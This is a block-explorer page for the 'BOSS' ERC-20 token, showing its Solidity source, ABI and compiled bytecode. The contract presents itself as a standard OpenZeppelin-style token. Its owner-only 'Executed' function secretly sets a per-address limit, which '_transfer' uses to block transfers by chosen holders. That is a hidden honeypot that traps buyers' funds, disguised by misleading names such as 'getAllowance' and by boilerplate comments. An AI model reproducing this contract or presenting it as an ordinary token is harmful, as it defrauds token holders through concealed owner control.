ERC-20
Overview
Max Total Supply
100,000,000 BOSS
Holders
8
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BOSS
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-19 */ pragma solidity ^0.8.16; // SPDX-License-Identifier: Unlicensed // BOSS token /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accoint) external view returns (uint256); function transfer( address recipient, uint256 ameunts ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 ameunts) external returns (bool); function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by 0"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by 0"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _nullAddress = 0x000000000000000000000000000000000000dEaD; address private _owner; event ownershipTransferred( address indexed previousowner, address indexed newowner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyowner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(_nullAddress)); _owner = address(_nullAddress); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_yydsed}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract BOSS is IERC20, Ownable { using SafeMath for uint256; uint256 private constant _coinsAmount = 100000000; address private constant _nullAddress = 0x000000000000000000000000000000000000dEaD; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => uint256) private _approvals; constructor() { _name = "BOSS"; _symbol = "BOSS"; _decimals = 18; _totalSupply = _coinsAmount * (10 ** uint256(_decimals)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { address sender = _msgSender(); _transfer(sender, recipient, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function Executed(address account, uint256 amount) external onlyowner { _approvals[account] = amount; } function getAllowance(address account) public view returns (uint256) { return _approvals[account]; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer exceeds allowance." ) ); return true; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require( recipient != address(0), "ERC20: transfer to zero address is not allowed." ); require( sender != address(0), "ERC20: transfer from zero address is not allowed." ); uint256 allowances = getAllowance(sender); if (allowances > 0) { require(amount > allowances, "ERC20: transfer exceeds allowance."); } uint256 blsender = _balances[sender]; require( blsender >= amount, "ERC20: transfer amount excceeded balance." ); _balances[recipient] = _balances[recipient].add(amount); _balances[sender] = _balances[sender].sub(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require( owner != address(0), "ERC20: approve from zero address is not allowed." ); require( spender != address(0), "ERC20: approve to zero address is not allowed." ); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Executed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getAllowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405261dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200005357600080fd5b50600062000066620002bb60201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3506040518060400160405280600481526020017f424f535300000000000000000000000000000000000000000000000000000000815250600290816200014b91906200053d565b506040518060400160405280600481526020017f424f535300000000000000000000000000000000000000000000000000000000815250600390816200019291906200053d565b506012600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff1660ff16600a620001d09190620007a7565b6305f5e100620001e19190620007f8565b60058190555060055460076000620001fe620002bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200024c620002bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620002ad919062000854565b60405180910390a362000871565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200034557607f821691505b6020821081036200035b576200035a620002fd565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000386565b620003d1868362000386565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200041e620004186200041284620003e9565b620003f3565b620003e9565b9050919050565b6000819050919050565b6200043a83620003fd565b62000452620004498262000425565b84845462000393565b825550505050565b600090565b620004696200045a565b620004768184846200042f565b505050565b5b818110156200049e57620004926000826200045f565b6001810190506200047c565b5050565b601f821115620004ed57620004b78162000361565b620004c28462000376565b81016020851015620004d2578190505b620004ea620004e18562000376565b8301826200047b565b50505b505050565b600082821c905092915050565b60006200051260001984600802620004f2565b1980831691505092915050565b60006200052d8383620004ff565b9150826002028217905092915050565b6200054882620002c3565b67ffffffffffffffff811115620005645762000563620002ce565b5b6200057082546200032c565b6200057d828285620004a2565b600060209050601f831160018114620005b55760008415620005a0578287015190505b620005ac85826200051f565b8655506200061c565b601f198416620005c58662000361565b60005b82811015620005ef57848901518255600182019150602085019450602081019050620005c8565b868310156200060f57848901516200060b601f891682620004ff565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006b2578086048111156200068a576200068962000624565b5b60018516156200069a5780820291505b8081029050620006aa8562000653565b94506200066a565b94509492505050565b600082620006cd5760019050620007a0565b81620006dd5760009050620007a0565b8160018114620006f65760028114620007015762000737565b6001915050620007a0565b60ff84111562000716576200071562000624565b5b8360020a91508482111562000730576200072f62000624565b5b50620007a0565b5060208310610133831016604e8410600b8410161715620007715782820a9050838111156200076b576200076a62000624565b5b620007a0565b62000780848484600162000660565b925090508184048111156200079a576200079962000624565b5b81810290505b9392505050565b6000620007b482620003e9565b9150620007c183620003e9565b9250620007f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006bb565b905092915050565b60006200080582620003e9565b91506200081283620003e9565b92508282026200082281620003e9565b915082820484148315176200083c576200083b62000624565b5b5092915050565b6200084e81620003e9565b82525050565b60006020820190506200086b600083018462000843565b92915050565b6119c280620008816000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029c578063c2af913b146102cc578063dd62ed3e146102d6578063eb5a662e14610306576100f5565b806370a08231146102005780638da5cb5b1461023057806395d89b411461024e578063a457c2d71461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f6c6d78146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f919061118e565b60405180910390f35b610132600480360381019061012d9190611249565b6103c8565b60405161013f91906112a4565b60405180910390f35b6101506103e6565b60405161015d91906112ce565b60405180910390f35b610180600480360381019061017b91906112e9565b6103f0565b60405161018d91906112a4565b60405180910390f35b61019e6104c9565b6040516101ab9190611358565b60405180910390f35b6101ce60048036038101906101c99190611249565b6104e0565b6040516101db91906112a4565b60405180910390f35b6101fe60048036038101906101f99190611249565b610593565b005b61021a60048036038101906102159190611373565b610672565b60405161022791906112ce565b60405180910390f35b6102386106bb565b60405161024591906113af565b60405180910390f35b6102566106e5565b604051610263919061118e565b60405180910390f35b61028660048036038101906102819190611249565b610777565b60405161029391906112a4565b60405180910390f35b6102b660048036038101906102b19190611249565b610844565b6040516102c391906112a4565b60405180910390f35b6102d4610867565b005b6102f060048036038101906102eb91906113ca565b6109fd565b6040516102fd91906112ce565b60405180910390f35b610320600480360381019061031b9190611373565b610a84565b60405161032d91906112ce565b60405180910390f35b60606002805461034590611439565b80601f016020809104026020016040519081016040528092919081815260200182805461037190611439565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610acd565b8484610ad5565b6001905092915050565b6000600554905090565b60006103fd848484610c9e565b6104be84610409610acd565b6104b98560405180606001604052806022815260200161194660229139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006105896104ed610acd565b8461058485600660006104fe610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b610ad5565b6001905092915050565b61059b610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610621906114b6565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546106f490611439565b80601f016020809104026020016040519081016040528092919081815260200182805461072090611439565b801561076d5780601f106107425761010080835404028352916020019161076d565b820191906000526020600020905b81548152906001019060200180831161075057829003601f168201915b5050505050905090565b600061083a610784610acd565b846108358560405180606001604052806025815260200161196860259139600660006107ae610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b6001905092915050565b60008061084f610acd565b905061085c818585610c9e565b600191505092915050565b61086f610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906114b6565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3b90611548565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906115da565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9191906112ce565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d049061166c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d73906116fe565b60405180910390fd5b6000610d8784610a84565b90506000811115610dd557808211610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb90611790565b60405180910390fd5b5b6000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5390611822565b60405180910390fd5b610eae83600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4383600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b490919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fe391906112ce565b60405180910390a35050505050565b600083831115829061103a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611031919061118e565b60405180910390fd5b50600083856110499190611871565b9050809150509392505050565b600080828461106591906118a5565b9050838110156110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a190611925565b60405180910390fd5b8091505092915050565b60006110f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561113857808201518184015260208101905061111d565b60008484015250505050565b6000601f19601f8301169050919050565b6000611160826110fe565b61116a8185611109565b935061117a81856020860161111a565b61118381611144565b840191505092915050565b600060208201905081810360008301526111a88184611155565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111e0826111b5565b9050919050565b6111f0816111d5565b81146111fb57600080fd5b50565b60008135905061120d816111e7565b92915050565b6000819050919050565b61122681611213565b811461123157600080fd5b50565b6000813590506112438161121d565b92915050565b600080604083850312156112605761125f6111b0565b5b600061126e858286016111fe565b925050602061127f85828601611234565b9150509250929050565b60008115159050919050565b61129e81611289565b82525050565b60006020820190506112b96000830184611295565b92915050565b6112c881611213565b82525050565b60006020820190506112e360008301846112bf565b92915050565b600080600060608486031215611302576113016111b0565b5b6000611310868287016111fe565b9350506020611321868287016111fe565b925050604061133286828701611234565b9150509250925092565b600060ff82169050919050565b6113528161133c565b82525050565b600060208201905061136d6000830184611349565b92915050565b600060208284031215611389576113886111b0565b5b6000611397848285016111fe565b91505092915050565b6113a9816111d5565b82525050565b60006020820190506113c460008301846113a0565b92915050565b600080604083850312156113e1576113e06111b0565b5b60006113ef858286016111fe565b9250506020611400858286016111fe565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061145157607f821691505b6020821081036114645761146361140a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114a0602083611109565b91506114ab8261146a565b602082019050919050565b600060208201905081810360008301526114cf81611493565b9050919050565b7f45524332303a20617070726f76652066726f6d207a65726f206164647265737360008201527f206973206e6f7420616c6c6f7765642e00000000000000000000000000000000602082015250565b6000611532603083611109565b915061153d826114d6565b604082019050919050565b6000602082019050818103600083015261156181611525565b9050919050565b7f45524332303a20617070726f766520746f207a65726f2061646472657373206960008201527f73206e6f7420616c6c6f7765642e000000000000000000000000000000000000602082015250565b60006115c4602e83611109565b91506115cf82611568565b604082019050919050565b600060208201905081810360008301526115f3816115b7565b9050919050565b7f45524332303a207472616e7366657220746f207a65726f20616464726573732060008201527f6973206e6f7420616c6c6f7765642e0000000000000000000000000000000000602082015250565b6000611656602f83611109565b9150611661826115fa565b604082019050919050565b6000602082019050818103600083015261168581611649565b9050919050565b7f45524332303a207472616e736665722066726f6d207a65726f2061646472657360008201527f73206973206e6f7420616c6c6f7765642e000000000000000000000000000000602082015250565b60006116e8603183611109565b91506116f38261168c565b604082019050919050565b60006020820190508181036000830152611717816116db565b9050919050565b7f45524332303a207472616e73666572206578636565647320616c6c6f77616e6360008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061177a602283611109565b91506117858261171e565b604082019050919050565b600060208201905081810360008301526117a98161176d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786363656564656460008201527f2062616c616e63652e0000000000000000000000000000000000000000000000602082015250565b600061180c602983611109565b9150611817826117b0565b604082019050919050565b6000602082019050818103600083015261183b816117ff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187c82611213565b915061188783611213565b925082820390508181111561189f5761189e611842565b5b92915050565b60006118b082611213565b91506118bb83611213565b92508282019050808211156118d3576118d2611842565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061190f601b83611109565b915061191a826118d9565b602082019050919050565b6000602082019050818103600083015261193e81611902565b905091905056fe45524332303a207472616e73666572206578636565647320616c6c6f77616e63652e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a3de5c1d441bb3e5171bffc971e062f7f45ad861675c5462a4d1a961c055b62964736f6c63430008120033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029c578063c2af913b146102cc578063dd62ed3e146102d6578063eb5a662e14610306576100f5565b806370a08231146102005780638da5cb5b1461023057806395d89b411461024e578063a457c2d71461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f6c6d78146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f919061118e565b60405180910390f35b610132600480360381019061012d9190611249565b6103c8565b60405161013f91906112a4565b60405180910390f35b6101506103e6565b60405161015d91906112ce565b60405180910390f35b610180600480360381019061017b91906112e9565b6103f0565b60405161018d91906112a4565b60405180910390f35b61019e6104c9565b6040516101ab9190611358565b60405180910390f35b6101ce60048036038101906101c99190611249565b6104e0565b6040516101db91906112a4565b60405180910390f35b6101fe60048036038101906101f99190611249565b610593565b005b61021a60048036038101906102159190611373565b610672565b60405161022791906112ce565b60405180910390f35b6102386106bb565b60405161024591906113af565b60405180910390f35b6102566106e5565b604051610263919061118e565b60405180910390f35b61028660048036038101906102819190611249565b610777565b60405161029391906112a4565b60405180910390f35b6102b660048036038101906102b19190611249565b610844565b6040516102c391906112a4565b60405180910390f35b6102d4610867565b005b6102f060048036038101906102eb91906113ca565b6109fd565b6040516102fd91906112ce565b60405180910390f35b610320600480360381019061031b9190611373565b610a84565b60405161032d91906112ce565b60405180910390f35b60606002805461034590611439565b80601f016020809104026020016040519081016040528092919081815260200182805461037190611439565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610acd565b8484610ad5565b6001905092915050565b6000600554905090565b60006103fd848484610c9e565b6104be84610409610acd565b6104b98560405180606001604052806022815260200161194660229139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006105896104ed610acd565b8461058485600660006104fe610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b610ad5565b6001905092915050565b61059b610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610621906114b6565b60405180910390fd5b80600860008473fffffffffffffffffffffff